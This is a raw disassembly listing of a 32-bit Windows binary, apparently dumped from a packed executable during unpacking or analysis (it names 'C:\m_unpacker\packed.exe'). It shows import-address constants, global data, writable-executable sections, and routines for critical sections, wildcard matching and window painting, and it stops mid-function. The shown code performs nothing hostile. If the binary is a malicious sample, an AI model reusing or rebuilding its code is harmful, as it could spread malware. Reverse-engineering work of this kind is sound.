dd 77E6C0E3h ; DATA XREF: sub_407E65+8Cw ; sub_407E65+E2r ... dword_4364CC dd 71AB1ED3h ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_4364D0 dd 71B2A381h ; DATA XREF: sub_407E65+B14w ; sub_407E65+B30r dword_4364D4 dd 77DDA595h ; DATA XREF: sub_407E65+31Cw ; sub_41358D+55r dword_4364D8 dd 77DD22EAh ; DATA XREF: sub_40726C+3Fr ; sub_407E65+27Ew ... dword_4364DC dd 773F97B0h ; DATA XREF: sub_407E65+B7Bw dword_4364E0 dd 76D67A29h ; DATA XREF: sub_407E65+ABDw ; sub_409448+CEr dword_4364E4 dd 76D674FAh ; DATA XREF: sub_407E65+AB0w ; sub_407E65+AB7r ... dword_4364E8 dd 71AB3C22h ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_4364EC dd 71AB2BBFh ; DATA XREF: sub_4063AC+88r ; sub_407E65+674w ... dword_4364F0 dd 1F7BA3A9h ; DATA XREF: sub_407E65+BC5w ; sub_407E65+C00r dword_4364F4 dd 71AB401Ch ; DATA XREF: sub_402688+28Dr ; sub_40525F+250r ... dword_4364F8 dd 71C214BAh ; DATA XREF: sub_407E65+993w ; sub_407E65+A00r ... dword_4364FC dd 71AB868Dh ; DATA XREF: sub_404138+13Ar ; sub_406224+B3r ... dword_436500 dd 71AB1A6Dh ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_436504 dd 71AB155Ah ; DATA XREF: sub_404138+B7r ; sub_404138+39Fr ... dword_436508 dd 71B22C25h ; DATA XREF: sub_407E65+B07w ; sub_407E65+B28r dword_43650C dd 71AB5A01h ; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_436510 dd 71B2ACCBh ; DATA XREF: sub_407E65+AFAw ; sub_407E65+B1Br dword_436514 dd 77E78C17h ; DATA XREF: sub_407E65+31w ; sub_407E65+ADr ... dword_436518 dd 77D49A11h ; DATA XREF: sub_406E34+1ECr ; sub_40702D+232r ... align 10h dword_436520 dd 76D62A37h ; DATA XREF: sub_407E65+909w ; sub_407E65+91Dr ... off_436524 dd offset sub_4DA1C7 ; DATA XREF: sub_407E65+99w ; sub_407E65+EAr ... dword_436528 dd 0 ; DATA XREF: sub_407E65:loc_407F63w ; sub_407E65+12Bw ... dword_43652C dd 0 ; DATA XREF: sub_407E65+126w ; sub_408AF2+1Cr dword_436530 dd 0 ; DATA XREF: sub_407E65:loc_408053w ; sub_407E65:loc_4080BAw ... dword_436534 dd 0 ; DATA XREF: sub_407E65+250w ; sub_408AF2+50r dword_436538 dd 0 ; DATA XREF: sub_407E65:loc_40814Fw ; sub_407E65:loc_408194w ... dword_43653C dd 0 ; DATA XREF: sub_407E65+400w ; sub_408AF2+84r dword_436540 dd 0 ; DATA XREF: sub_407E65:loc_40834Bw ; sub_408AF2:loc_408BA2r dword_436544 dd 0 ; DATA XREF: sub_407E65+4E1w ; sub_408AF2+B8r dword_436548 dd 0 ; DATA XREF: sub_407E65:loc_40861Cw ; sub_408AF2:loc_408BD6r dword_43654C dd 0 ; DATA XREF: sub_407E65+7B2w ; sub_408AF2+ECr dword_436550 dd 0 ; DATA XREF: sub_407E65:loc_408707w ; sub_407E65+8D1w ... dword_436554 dd 0 ; DATA XREF: sub_407E65+8CCw ; sub_408AF2+120r dword_436558 dd 0 ; DATA XREF: sub_407E65:loc_40879Bw ; sub_408AF2:loc_408C3Er ... dword_43655C dd 0 ; DATA XREF: sub_407E65+931w ; sub_408AF2+154r dword_436560 dd 0 ; DATA XREF: sub_407E65:loc_4088A6w ; sub_408AF2:loc_408C72r ... dword_436564 dd 0 ; DATA XREF: sub_407E65+A3Cw ; sub_408AF2+188r dword_436568 dd 0 ; DATA XREF: sub_407E65:loc_4088F0w ; sub_408AF2:loc_408CA6r dword_43656C dd 0 ; DATA XREF: sub_407E65+A86w ; sub_408AF2+1BCr dword_436570 dd 0 ; DATA XREF: sub_407E65:loc_40893Aw ; sub_408AF2:loc_408CDAr dword_436574 dd 0 ; DATA XREF: sub_407E65+AD0w ; sub_408AF2+1F0r dword_436578 dd 0 ; DATA XREF: sub_407E65:loc_4089AEw ; sub_408AF2:loc_408D0Er dword_43657C dd 0 ; DATA XREF: sub_407E65+B44w ; sub_408AF2+224r dword_436580 dd 0 ; DATA XREF: sub_407E65:loc_4089F8w ; sub_408AF2:loc_408D42r dword_436584 dd 0 ; DATA XREF: sub_407E65+B8Ew ; sub_408AF2+258r dword_436588 dd 0 ; DATA XREF: sub_407E65:loc_408A96w ; sub_408AF2:loc_408D76r dword_43658C dd 0 ; DATA XREF: sub_407E65+C2Cw ; sub_408AF2+28Cr dword_436590 dd 0 ; DATA XREF: sub_407E65:loc_408AE0w ; sub_408AF2:loc_408DAAr dword_436594 dd 0 ; DATA XREF: sub_407E65+C76w ; sub_408AF2+2C0r dword_436598 dd 81h dup(0) ; DATA XREF: sub_40907B+6Ao dword_43679C dd 5 dup(0) ; DATA XREF: sub_409526+32o dword_4367B0 dd 0 ; DATA XREF: sub_40996E:loc_40998Fr ; sub_409A5D+54r ... dword_4367B4 dd 0 ; DATA XREF: sub_40996Er ; sub_409A5D+37r ... dword_4367B8 dd 0 ; DATA XREF: sub_40999E+1Ar ; sub_409BB2+83o dword_4367BC dd 0 ; DATA XREF: sub_40996E:loc_409982r ; sub_409BB2+11Bw dword_4367C0 dd 0Dh dup(0) ; DATA XREF: sub_409A5D+13o ; sub_409BB2:loc_409CEFo dword_4367F4 dd 0 ; DATA XREF: sub_409A5D+CDr ; sub_409A5D+ECr ... dd 0 dword_4367FC dd 0Eh dup(0) ; DATA XREF: sub_409D67+47o dword_436834 dd 1000h dup(0) ; DATA XREF: sub_40A5B3+1Do ; sub_40A653o ... dword_43A834 dd 0 ; DATA XREF: sub_40A5B3+13o ; sub_40A653+Eo ... dword_43A838 dd 0Eh dup(0) ; DATA XREF: sub_40B62E+Fo dword_43A870 dd 2 dup(0) ; DATA XREF: sub_40B9B9+C8o dword_43A878 dd 17h dup(0) ; DATA XREF: sub_40BCA3:loc_40BDC0o ; sub_40BCA3+131o ... dword_43A8D4 dd 80h dup(0) ; DATA XREF: sub_40CA59+7Co ; sub_40CA59+A5o dword_43AAD4 dd 0 ; DATA XREF: sub_40C01E+45w ; sub_40C01E+4Dr ... dword_43AAD8 dd 17h dup(0) ; DATA XREF: sub_40C925:loc_40CA47o ; sub_40C925+12Do dword_43AB34 dd 80h dup(0) ; DATA XREF: sub_40BF5E+4Co ; sub_40BF5E+7Eo ... byte_43AD34 db 0 ; DATA XREF: sub_40C01E+29r ; sub_40C01E+34w align 4 dword_43AD38 dd 80h dup(0) ; DATA XREF: sub_40C275+61o ; sub_40C275+89o ... dword_43AF38 dd 82h dup(0) ; DATA XREF: sub_40BB87:loc_40BBBFo ; sub_40BB87+5Bo dword_43B140 dd 0 ; DATA XREF: sub_40A4BB+Ao ; sub_40A4BB+44r ... dd 5 dup(0) dword_43B158 dd 0 ; DATA XREF: sub_40A4BB+60r ; sub_40D2E0+BD6r dd 2D9h dup(0) dword_43BCC0 dd 0 ; DATA XREF: sub_405DAD+A8r ; sub_40A4BB+2Do ... dd 7Fh dup(0) dword_43BEC0 dd 0 ; DATA XREF: sub_414F2C+41w ; sub_415067+40w ... dword_43BEC4 dd 0 ; DATA XREF: sub_404716+23Bw ; sub_405DAD:loc_405DF4r ... dword_43BEC8 dd 0 ; DATA XREF: sub_409BB2+164w ; sub_414C7E+AEw ... dword_43BECC dd 0 ; DATA XREF: sub_402688+E0w ; sub_404138+7Ew ... dword_43BED0 dd 0 ; DATA XREF: sub_4063AC+11Ew ; sub_406593+53r ... dword_43BED4 dd 0 ; DATA XREF: sub_404716+268w ; sub_405898+122w ... byte_43BED8 db 0 ; DATA XREF: sub_40D000+91o ; sub_40D2E0+3357r ... align 4 dd 261Dh dup(0) dword_445750 dd 6A2Ch dup(0) ; DATA XREF: _2:off_425C40o dword_460000 dd 1A330h dup(0) ; DATA XREF: _4:004D0B4Co dword_4C8CC0 dd 1Bh ; DATA XREF: sub_405756:loc_4057C4r ; sub_40CB17+3Aw ... align 8 dword_4C8CC8 dd 0 ; DATA XREF: sub_40CB17:loc_40CF12o dword_4C8CCC dd 20h dup(0) ; DATA XREF: sub_40CB17+393o ; sub_40CB17+44Co ... dword_4C8D4C dd 10h dup(0) ; DATA XREF: sub_40CB17+3AAo ; sub_40D2E0+929o dword_4C8D8C dd 24h dup(0) ; DATA XREF: sub_40CB17+3C1o dword_4C8E1C dd 0 ; DATA XREF: sub_40CB17+3B5w ; sub_40CB17+463w ... dword_4C8E20 dd 0 ; DATA XREF: sub_40CB17+3D4w align 10h dword_4C8E30 dd 0 ; DATA XREF: sub_40D000+72r ; sub_40D2E0+273r align 8 byte_4C8E38 db 0 ; DATA XREF: sub_40D168+28r ; sub_40D168+30o align 4 dword_4C8E3C dd 0 ; DATA XREF: sub_40CB17+400w ; sub_40CB17+417r ... dword_4C8E40 dd 0 ; DATA XREF: sub_40CB17+398w ; sub_40D2E0+8CAr dd 2 dup(0) dword_4C8E4C dd 0 ; DATA XREF: sub_4138EE+146r dd 0 dword_4C8E54 dd 1Bh dup(0) ; DATA XREF: sub_4141D8+8Do dword_4C8EC0 dd 0 ; DATA XREF: sub_415174+16o ; sub_415193+19o dword_4C8EC4 dd 68h dup(0) ; DATA XREF: sub_415127+3Do dword_4C9064 dd 0 ; DATA XREF: sub_415F19+Aw dword_4C9068 dd 0 ; DATA XREF: sub_416ACB+5Er ; sub_416ACB+A4w align 10h word_4C9070 dw 0 ; DATA XREF: sub_416ACB+55r ; sub_416ACB+9Ao word_4C9072 dw 0 ; DATA XREF: sub_416ACB+48r db 2 dup(0) word_4C9076 dw 0 ; DATA XREF: sub_416ACB+3Br word_4C9078 dw 0 ; DATA XREF: sub_416ACB+2Er word_4C907A dw 0 ; DATA XREF: sub_416ACB+21r align 10h dword_4C9080 dd 0 ; DATA XREF: sub_416C8F+3Br ; sub_416C8F+91w dword_4C9084 dd 0 ; DATA XREF: sub_416878+1B9w ; sub_416E2E:loc_416EAAw ... dword_4C9088 dd 0 ; DATA XREF: sub_417919+35w ; sub_4187D7:loc_418871w ... dword_4C908C dd 0 ; DATA XREF: sub_41DFE6+13Ar dword_4C9090 dd 0A28h ; DATA XREF: _0:00417D56w dword_4C9094 dd 501h ; DATA XREF: _0:00417D4Dw dword_4C9098 dd 5 ; DATA XREF: _0:00417D42w dword_4C909C dd 1 ; DATA XREF: _0:00417D34w dword_4C90A0 dd 1 ; DATA XREF: sub_40CB17:loc_40CDFAr ; sub_41D360+91w dword_4C90A4 dd 0A70B20h ; DATA XREF: sub_40CB17+2ECr ; sub_40CB17+30Cr ... dd 0 dword_4C90AC dd 0A70B48h ; DATA XREF: sub_41D2A7+44w ; sub_41FECD+9r ... dword_4C90B0 dd 0 ; DATA XREF: sub_4205B1+36r dword_4C90B4 dd 0 ; DATA XREF: sub_41FECD+16r ; sub_42029B+4r ... dd 0 off_4C90BC dd offset aCM_unpackerPac ; DATA XREF: sub_41D360+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4C90C4 db 0 ; DATA XREF: sub_417C27+2Dw ; _0:0041DC0Cr align 4 dword_4C90C8 dd 0 ; DATA XREF: sub_417C27+27w dword_4C90CC dd 0 ; DATA XREF: sub_417C27+4r ; sub_417C27+8Bw dword_4C90D0 dd 0 ; DATA XREF: _0:00417D88w ; sub_41D2A7:loc_41D2B9r ... align 8 dword_4C90D8 dd 0 ; DATA XREF: sub_417DFAr sub_417E1Fr ... dword_4C90DC dd 0 ; DATA XREF: sub_4189C2+37r dd 0 dword_4C90E4 dd 0 ; DATA XREF: sub_415D2Fr ; sub_41756F:loc_41768Br ... dword_4C90E8 dd 0 ; DATA XREF: sub_418C74r dword_4C90EC dd 0 ; DATA XREF: sub_419B42+4Bw ; sub_419C5B+2Dw ... dword_4C90F0 dd 0 ; DATA XREF: sub_41AA8D+11r ; sub_41AB91+1Ar ... byte_4C90F4 db 0 ; DATA XREF: sub_41AA8D+3r ; sub_41AA8D+98r ... align 4 dword_4C90F8 dd 0 ; DATA XREF: sub_41AB91+11r ; sub_41AC6F+21w ... byte_4C90FC db 0 ; DATA XREF: sub_41AC6F+51w align 10h dword_4C9100 dd 0 ; DATA XREF: sub_41AE65+4Er ; sub_41B240+3Ar ... dword_4C9104 dd 0 ; DATA XREF: sub_41AE65+5Cr ; sub_41B240+43r ... dword_4C9108 dd 0 ; DATA XREF: sub_4161A2+7Ar ; sub_41B00C+5r dword_4C910C dd 0 ; DATA XREF: sub_41B61C+29r dword_4C9110 dd 1 ; DATA XREF: sub_41C829+28r ; sub_41C829+4Cw ... dd 2 dup(0) dword_4C911C dd 0 ; DATA XREF: sub_417183+4r ; sub_417183+6Er ... dd 3 dup(0) dword_4C912C dd 0 ; DATA XREF: sub_417AD9+61r ; sub_417AD9+BFr ... dd 0 dword_4C9134 dd 1 ; DATA XREF: sub_41CA4D:loc_41CBC8r ; sub_41CBE6+4w ... dword_4C9138 dd 0 ; DATA XREF: sub_41D0CB+3Ar ; sub_41D0CB+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D360:loc_41D377o ; _2:off_4C90BCo align 4 dd 3Ah dup(0) dword_4C9240 dd 1 ; DATA XREF: sub_41D5AD+2r ; sub_41D5AD+23w ... dword_4C9244 dd 0 ; DATA XREF: sub_41D96C+21r dword_4C9248 dd 0 ; DATA XREF: sub_4189C2:loc_4189EBw ; sub_418A8C+154w ... dword_4C924C dd 1 ; DATA XREF: sub_41DC83+26r ; sub_41DC83:loc_41DCEDw dword_4C9250 dd 0 ; DATA XREF: sub_418A8C+7r align 8 word_4C9258 dw 0 ; DATA XREF: sub_41E86B+1Ao ; sub_41E86B+46r byte_4C925A db 0 ; DATA XREF: sub_41E86B+39r align 4 dword_4C925C dd 7 dup(0) ; DATA XREF: sub_41E86B+52o dword_4C9278 dd 0 ; DATA XREF: sub_41E86B+40w ; sub_41E86B+5Co dword_4C927C dd 0 ; DATA XREF: sub_41E86B+4Dw dword_4C9280 dd 0 ; DATA XREF: sub_41E86B+31w dword_4C9284 dd 0 ; DATA XREF: sub_41E86B+52w dword_4C9288 dd 77C26E79h ; DATA XREF: sub_41E98E:loc_41E9B1r ; sub_41E98E+38r ... align 10h dword_4C9290 dd 0 ; DATA XREF: sub_41EBF2+11w ; sub_41EBF2+63w ... align 8 dword_4C9298 dd 0 ; DATA XREF: sub_41EBF2+33o ; sub_41EBF2+46r dword_4C929C dd 10h dup(0) ; DATA XREF: sub_41EBF2+C1o word_4C92DC dw 0 ; DATA XREF: sub_41EE50+A8r word_4C92DE dw 0 ; DATA XREF: sub_41EBF2+54r ; sub_41EE50+DBr ... word_4C92E0 dw 0 ; DATA XREF: sub_41EE50+CAr word_4C92E2 dw 0 ; DATA XREF: sub_41EE50+D3r ; sub_41EE50:loc_41EF42r word_4C92E4 dw 0 ; DATA XREF: sub_41EE50+C0r word_4C92E6 dw 0 ; DATA XREF: sub_41EE50+B8r word_4C92E8 dw 0 ; DATA XREF: sub_41EE50+B0r word_4C92EA dw 0 ; DATA XREF: sub_41EE50+9Er dword_4C92EC dd 0 ; DATA XREF: sub_41EBF2+4Br dword_4C92F0 dd 10h dup(0) ; DATA XREF: sub_41EBF2+FBo word_4C9330 dw 0 ; DATA XREF: sub_41EE50+46r word_4C9332 dw 0 ; DATA XREF: sub_41EBF2:loc_41EC69r ; sub_41EE50+78r ... word_4C9334 dw 0 ; DATA XREF: sub_41EE50+67r word_4C9336 dw 0 ; DATA XREF: sub_41EE50+70r ; sub_41EE50:loc_41EED4r word_4C9338 dw 0 ; DATA XREF: sub_41EE50+5Dr word_4C933A dw 0 ; DATA XREF: sub_41EE50+55r word_4C933C dw 0 ; DATA XREF: sub_41EE50+4Dr word_4C933E dw 0 ; DATA XREF: sub_41EE50+3Er dword_4C9340 dd 0 ; DATA XREF: sub_41EBF2+80r dword_4C9344 dd 0 ; DATA XREF: sub_41EBF2+132r ; sub_41EBF2:loc_41ED3Er ... dword_4C9348 dd 0 ; DATA XREF: sub_41EBDDr sub_41EBDD+Ew dword_4C934C dd 0 ; DATA XREF: sub_41F17E+3r ; sub_41F17E+2Ew ... dword_4C9350 dd 0 ; DATA XREF: sub_41F17E+43w ; sub_41F17E:loc_41F1CDr dword_4C9354 dd 0 ; DATA XREF: sub_41F17E+4Aw ; sub_41F17E+60r dword_4C9358 dd 0 ; DATA XREF: sub_41DFE6+3Fr dword_4C935C dd 0 ; DATA XREF: sub_41FD5B:loc_41FDC2r ; sub_41FD5B+6Do dword_4C9360 dd 0 ; DATA XREF: sub_41FD5B:loc_41FD99r ; sub_41FD5B+44o dword_4C9364 dd 0 ; DATA XREF: sub_41FD5B:loc_41FD8Cr ; sub_41FD5B+37o dword_4C9368 dd 0 ; DATA XREF: sub_41FD5B:loc_41FDA6r ; sub_41FD5B+51o align 10h dword_4C9370 dd 0 ; DATA XREF: sub_420309+28r ; sub_420309+48w ... dword_4C9374 dd 0 ; DATA XREF: sub_420D92+28r ; sub_420D92+4Cw ... dword_4C9378 dd 0 ; DATA XREF: sub_42101D+26r ; sub_42101D:loc_421087w byte_4C937C db 1 ; DATA XREF: sub_4039F9r sub_4039F9+9w align 10h dword_4C9380 dd 0A71110h ; DATA XREF: sub_418955:loc_418966r ; sub_418BFC+14r ... dd 7 dup(0) dword_4C93A0 dd 400h dup(0) ; DATA XREF: _2:off_431A78o ; _2:00431A80o dword_4CA3A0 dd 200h ; DATA XREF: sub_418955+9r ; sub_418955+56r ... dd 7 dup(0) dword_4CA3C0 dd 0A70650h ; DATA XREF: sub_417E43+B1r ; sub_41C368+75r ... dword_4CA3C4 dd 3Fh dup(0) ; DATA XREF: sub_41D6DF+92o dword_4CA4C0 dd 20h ; DATA XREF: sub_4187D7+8r ; sub_41C441+Cr ... dword_4CA4C4 dd 4E4h ; DATA XREF: sub_41CA4D+14r ; sub_41CA4D+65w ... align 10h dword_4CA4D0 dd 3 dup(0) ; DATA XREF: sub_41CA4D+123o ; sub_41CA4D+171o ... dword_4CA4DC dd 0 ; DATA XREF: sub_41CA4D+108w ; sub_41CA4D+15Dw ... byte_4CA4E0 db 0 ; DATA XREF: sub_41CC8C:loc_41CD98w ; sub_41CC8C:loc_41CDB5w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4CA5E0 db 0 ; DATA XREF: sub_41CA4D+5Co ; sub_41CA4D+AFo ... byte_4CA5E1 db 0 ; DATA XREF: sub_4173D8+5Dr ; sub_41CA4D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4CA6E4 dd 0 ; DATA XREF: sub_41CA4D+6Ew ; sub_41CA4D+12Bw ... dword_4CA6E8 dd 0 ; DATA XREF: sub_418E61+3Cw ; sub_419506+5r ... dword_4CA6EC dd 0 ; DATA XREF: sub_418ED4+23Ar ; sub_418ED4+25Ar ... dword_4CA6F0 dd 0 ; DATA XREF: sub_418E61+31w ; sub_418ED4+311w ... dword_4CA6F4 dd 0 ; DATA XREF: sub_418E61+21w ; sub_418ED4+22Dr ... dword_4CA6F8 dd 0 ; DATA XREF: sub_418E61+28w ; sub_418EA9r ... dword_4CA6FC dd 0 ; DATA XREF: sub_418E61+15w ; sub_418EA9+8r ... dword_4CA700 dd 0 ; DATA XREF: sub_415D6D+Fr ; sub_41756F+5Cr ... dword_4CA704 dd 0A70000h ; DATA XREF: sub_415D6D+66r ; sub_415DE1+5Ar ... dword_4CA708 dd 1 ; DATA XREF: sub_415D6Dr sub_415DE1+Cr ... dword_4CA70C dd 142340h ; DATA XREF: _0:00417D7Ew ; sub_41D24F+Fr ... dword_4CA710 dd 1 ; DATA XREF: sub_41D2A7+ADw ; sub_41FECDr dword_4CA714 dd 1 ; DATA XREF: sub_41CE11r ; sub_41CE11+11w ... dword_4CA718 dd 0A7075Ch ; DATA XREF: sub_4167B3+13r ; sub_4167B3:loc_4167F5r ... dword_4CA71C dd 0A70758h ; DATA XREF: sub_4167B3+1r ; sub_4167B3+Cr ... _2 ends ; Section 4. (virtual address 000CB000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000018 ( 24.) ; Offset to raw data for section: 000CB000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _3 segment para public 'CODE' use32 assume cs:_3 ;org 4CB000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dd 127h, 19Ch, 1DCh, 221h, 233h, 290h _3 ends ; Section 5. (virtual address 000CC000) ; Virtual size : 00011ABF ( 72383.) ; Section size in file : 00011ABF ( 72383.) ; Offset to raw data for section: 000CC000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _4 segment para public 'CODE' use32 assume cs:_4 ;org 4CC000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC000 proc near ; CODE XREF: sub_4CF63E+84p ; sub_4CF94C+333p ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE2E0 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov esi, ecx mov [ebp+var_1C], esi lea eax, [esi+10h] push eax call ds:dword_4DE01C ; RtlEnterCriticalSection and [ebp+var_4], 0 push [ebp+arg_4] push [ebp+arg_0] mov ecx, esi call sub_4DB98E or [ebp+var_4], 0FFFFFFFFh call sub_4CC060 mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_4CC000 endp ; =============== S U B R O U T I N E ======================================= sub_4CC05D proc near ; DATA XREF: _5:004DE2E8o mov esi, [ebp-1Ch] sub_4CC05D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4CC060 proc near ; CODE XREF: sub_4CC000+47p add esi, 10h push esi call ds:dword_4DE018 ; RtlLeaveCriticalSection retn sub_4CC060 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC06B proc near ; CODE XREF: sub_4CF166+9Bp ; sub_4CF166+C4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_4] push edi test edx, edx jz short loc_4CC07D mov edi, [ebp+arg_0] test edi, edi jnz short loc_4CC081 loc_4CC07D: ; CODE XREF: sub_4CC06B+9j xor eax, eax jmp short loc_4CC0D3 ; --------------------------------------------------------------------------- loc_4CC081: ; CODE XREF: sub_4CC06B+10j cmp byte ptr [edx], 0 jnz short loc_4CC08F xor eax, eax cmp [edi], al setz al jmp short loc_4CC0D3 ; --------------------------------------------------------------------------- loc_4CC08F: ; CODE XREF: sub_4CC06B+19j push ebx push esi mov esi, offset dword_4E0BE4 mov eax, edi loc_4CC098: ; CODE XREF: sub_4CC06B+49j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_4CC0BA test cl, cl jz short loc_4CC0B6 mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_4CC0BA inc eax inc eax inc esi inc esi test cl, cl jnz short loc_4CC098 loc_4CC0B6: ; CODE XREF: sub_4CC06B+37j xor eax, eax jmp short loc_4CC0BF ; --------------------------------------------------------------------------- loc_4CC0BA: ; CODE XREF: sub_4CC06B+33j ; sub_4CC06B+41j sbb eax, eax sbb eax, 0FFFFFFFFh loc_4CC0BF: ; CODE XREF: sub_4CC06B+4Dj pop esi pop ebx test eax, eax jnz short loc_4CC0CA mov edi, offset dword_4E0BE0 loc_4CC0CA: ; CODE XREF: sub_4CC06B+58j push edx push edi call sub_4CC0D6 pop ecx pop ecx loc_4CC0D3: ; CODE XREF: sub_4CC06B+14j ; sub_4CC06B+22j pop edi pop ebp retn sub_4CC06B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC0D6 proc near ; CODE XREF: sub_4CC06B+61p ; sub_4CC0D6+70p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, [ebp+arg_4] mov al, [ebx] push edi test al, al jz short loc_4CC120 loc_4CC0E8: ; CODE XREF: sub_4CC0D6+48j movsx edi, byte ptr [esi] movsx eax, al inc ebx cmp eax, 2Ah jz short loc_4CC130 cmp eax, 3Fh jz short loc_4CC115 push eax call sub_4CC86E mov edx, eax push edi mov [ebp+arg_4], edx call sub_4CC86E pop ecx pop ecx mov ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_4CC12C jmp short loc_4CC119 ; --------------------------------------------------------------------------- loc_4CC115: ; CODE XREF: sub_4CC0D6+21j test edi, edi jz short loc_4CC12C loc_4CC119: ; CODE XREF: sub_4CC0D6+3Dj mov al, [ebx] inc esi test al, al jnz short loc_4CC0E8 loc_4CC120: ; CODE XREF: sub_4CC0D6+10j xor eax, eax cmp [esi], al setz al loc_4CC127: ; CODE XREF: sub_4CC0D6+58j ; sub_4CC0D6+86j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4CC12C: ; CODE XREF: sub_4CC0D6+3Bj ; sub_4CC0D6+41j ... xor eax, eax jmp short loc_4CC127 ; --------------------------------------------------------------------------- loc_4CC130: ; CODE XREF: sub_4CC0D6+1Cj xor edi, edi cmp byte ptr [esi], 0 jz short loc_4CC142 loc_4CC137: ; CODE XREF: sub_4CC0D6+66j inc edi cmp byte ptr [edi+esi], 0 jnz short loc_4CC137 test edi, edi jl short loc_4CC12C loc_4CC142: ; CODE XREF: sub_4CC0D6+5Fj add esi, edi loc_4CC144: ; CODE XREF: sub_4CC0D6+7Fj push esi push ebx call sub_4CC0D6 pop ecx test eax, eax pop ecx jnz short loc_4CC159 dec edi dec esi test edi, edi jge short loc_4CC144 jmp short loc_4CC12C ; --------------------------------------------------------------------------- loc_4CC159: ; CODE XREF: sub_4CC0D6+79j push 1 pop eax jmp short loc_4CC127 sub_4CC0D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC15E proc near ; DATA XREF: sub_4CC271+36o var_60 = dword ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 60h push edi cmp [ebp+arg_4], 0Fh jnz loc_4CC1FF and [ebp+var_20], 0 xor eax, eax lea edi, [ebp+var_1C] stosd stosd stosd stosd stosd lea eax, [ebp+var_20] push eax push 18h push ds:dword_4E5A50 call ds:dword_4E17F8 ; GetObjectA lea eax, [ebp+var_60] push eax push [ebp+arg_0] call ds:dword_4E17F0 ; BeginPaint push [ebp+var_60] call ds:dword_4E17E0 ; CreateCompatibleDC mov [ebp+var_8], eax push ds:dword_4E5A50 push [ebp+var_8] call ds:dword_4E17FC ; SelectObject mov [ebp+var_4], eax push 0CC0020h push 0 push 0 push [ebp+var_8] push [ebp+var_18] push [ebp+var_1C] push 0 push 0 push [ebp+var_60] call ds:dword_4E1804 ; BitBlt push [ebp+var_4] push [ebp+var_8] call ds:dword_4E17FC ; SelectObject push [ebp+var_8] call ds:dword_4E17E8 ; DeleteDC lea eax, [ebp+var_60] push eax push [ebp+arg_0] call ds:dword_4E17F4 ; EndPaint xor eax, eax jmp short loc_4CC211 ; --------------------------------------------------------------------------- loc_4CC1FF: ; CODE XREF: sub_4CC15E+Bj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4DE050 ; DefWindowProcA loc_4CC211: ; CODE XREF: sub_4CC15E+9Fj pop edi leave retn 10h sub_4CC15E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC216 proc near ; DATA XREF: sub_4CC271+152o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call ds:dword_4E1808 ; GetWindowThreadProcessId call ds:dword_4E16E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_4CC26A mov eax, [ebp+arg_0] cmp eax, ds:dword_4E5A54 jz short loc_4CC26A 